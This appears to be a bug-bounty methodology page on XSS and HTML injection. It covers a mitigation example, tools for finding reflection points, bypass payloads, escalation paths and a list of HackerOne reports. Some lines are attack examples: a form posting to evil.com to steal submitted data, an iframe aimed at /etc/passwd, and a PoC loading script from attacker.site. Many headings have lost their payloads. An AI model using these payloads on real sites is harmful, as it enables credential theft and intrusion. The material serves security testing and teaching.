XSS-HTML Injection
In the name of God, the Most Gracious, the Most Merciful
What's XSS
XSS, or Cross-Site Scripting, is like a digital illusionist's trick on the web. It occurs when a malicious script is injected into a website, turning it into a stage for hackers. Imagine innocent user input as a Trojan horse, bringing in a hidden script that dances through the site, stealing sensitive information like a phantom in the digital shadows. XSS exploits the trust between websites and users, turning the virtual playground into a stage for unseen mischief. Guarding against this vulnerability is like installing a cybersecurity force field, protecting the online theater from unwanted script-kiddie performances.
Example For Vulnerable code
<!DOCTYPE html>
<html>
<body>
<?php
$txt = "PHP";
echo "I love $txt!";
?>
</body>
</html>Mitigation code
Use htmlentities() Function
<!DOCTYPE html> <html> <body> <?php $txt = '"><script>alert(0)</script>'; echo htmlentities("I love $txt!"); ?> </body> </html>Examples for htmlentities()
<?php $str = "A 'quote' is <b>bold</b>"; // Outputs: A 'quote' is <b>bold</b> echo htmlentities($str); // Outputs: A 'quote' is <b>bold</b> echo htmlentities($str, ENT_QUOTES); ?>
XSS & HTMLI Testing Methodology
Basic Schema
<tag handler=code>Advanced Final Schema Try to make you Payloads inspired by this schema this will help you to bypass filters/Bypasses
extra1<tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
1) Find a reflection point
use gau/waymore to grab all urls and pass them to kxss tool to test reflection
echo "domain.com" | gau | kxss | grep ">"Do some Google or any seach engines dorking to find endpoints
Navigate to website and try every single function and features with burp/ZAP logging the requests Testing every parameter for relection using Extenstions like "Reflector" or "Reflect"
FUZZING parameters using "Param-Miner" and "Arjun and test their reflection
2) Get HTML injection
Payloads
HTML Injection Exploitation/Escalation
Open Redirect
Setting a Cookie
HTML Injection to SSRF
<iframe src=https://yourwebsite.com/redirect.php?link=file:///etc/passwd></iframe>Stealing clear text secrets
Abuse CSS
Stealing Forms Set a form header:
<form action='http://evil.com/log_steal'>this will overwrite the next form header and all the data from the form will be sent to the attacker
using noscript
3) Get your event handler injected
"When building XSS payloads, some javascript event handlers can be used regardless of the tag used and work on the 5 major browsers until date (Chrome, Firefox, IE/Edge, Safari and Opera) hence the term “agnostic”"
Brute Force Event Handlers
Didn't Work ? Try XSS Without Event Handlers
4) Inject JS code
h0tak88r XSS
Blind XSS Get your blind XSS payloads from https://xss.report/ OR https://xsshunter.trufflesecurity.com/app/#/
Payload list
polyglots
XSS Exploitation
Self XSS + CORS = ATO
Self XSS to ATO
XSS to ATO
XSS to RCE
https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/
XSS to LFI
XSS to SSRF
XSS to CSRF
XSS to CSRF https://link.medium.com/ct4S2BiJYwb
POC :
https://vulnerable.site/profile.php?msg=<script src=’https://attacker.site/attacker/script.js’></script>
XSS Via Header Injection
XSS to Open Redirect
Phishing Via Iframe
Remote File Inclusion (RFI) to XSS
File upload To XSS
XSS via SVG file
DOM XSS
Check for Dom-XSS in Swagger-UI
configUrl=https://jumpy-floor.surge.sh/test.json
?url=https://jumpy-floor.surge.sh/test.yaml
Example for Vulnerable Code
Exploit
Some Bypasses Techniques
XSS for
.JSONendpoint [ bypass (.html)andWAF]“resource Type” : “silent:nonexitsting”Function
https://user-images.githubusercontent.com/108616378/219940178-c7988e77-c51a-4e79-add2-e0b192d92e02.png Use
url-encodedpayload with .htmextension and//for break directory block too , So the server so the server didn’t understand my request fullyPOC:
https://www.redacted.com/etc/designs/redacted.json//%3Csvg%20onload=alert(document.domain)%3E.html
XSS in meta tag
A decade-old `ResolveUrl XSS` bug is still present in many http://ASP.NET apps. I randomly found this bug in a very famous app. Try in login pages, redirects, forms & dynamic URL construction (
~/images/). Payload:/(A(%22onerror='alert%60123%60'test))/Credits: https://x.com/nav1n0x/status/1799384973407031565
Top XSS reports from HackerOne:
Bypass for #488147 enables stored XSS on https://paypal.com/signin again to PayPal - 2530 upvotes, $20000
Stored XSS on https://paypal.com/signin via cache poisoning to PayPal - 646 upvotes, $18900
Reflected XSS on https://www.glassdoor.com/employers/sem-dual-lp/ to Glassdoor - 632 upvotes, $1000
Stored XSS in Wiki pages to GitLab - 595 upvotes, $4500
Stored XSS on imgur profile to Imgur - 591 upvotes, $650
Reflected XSS in OAUTH2 login flow to LINE - 471 upvotes, $1989
XSS in steam react chat client to Valve - 453 upvotes, $7500
Cross-Site-Scripting on www.tiktok.com and m.tiktok.com leading to Data Exfiltration to TikTok - 449 upvotes, $3860
XSS vulnerable parameter in a location hash to Slack - 440 upvotes, $1100
Panorama UI XSS leads to Remote Code Execution via Kick/Disconnect Message to Valve - 407 upvotes, $9000
Blind XSS on image upload to CS Money - 407 upvotes, $1000
Stored XSS Vulnerability to WordPress - 394 upvotes, $500
Reflected XSS and sensitive data exposure, including payment details, on lioncityrentals.com.sg to Uber - 369 upvotes, $4000
Reflected XSS on www.hackerone.com and resources.hackerone.com to HackerOne - 355 upvotes, $500
Stored XSS in wordpress.com to Automattic - 348 upvotes, $650
HEY.com email stored XSS to Basecamp - 345 upvotes, $5000
Reflected XSS in TikTok endpoints to TikTok - 344 upvotes, $4500
Blind XSS on Twitter's internal Big Data panel at █████████████ to Twitter - 338 upvotes, $5040
Stored XSS in Private Message component (BuddyPress) to WordPress - 331 upvotes, $500
XSS while logging using Google to Shopify - 325 upvotes, $1750
Stored XSS in my staff name fired in another your internal panel to Shopify - 316 upvotes, $5000
DOM XSS on duckduckgo.com search to DuckDuckGo - 316 upvotes, $0
Cross Site Scripting (XSS) Write_ups
Last updated
Was this helpful?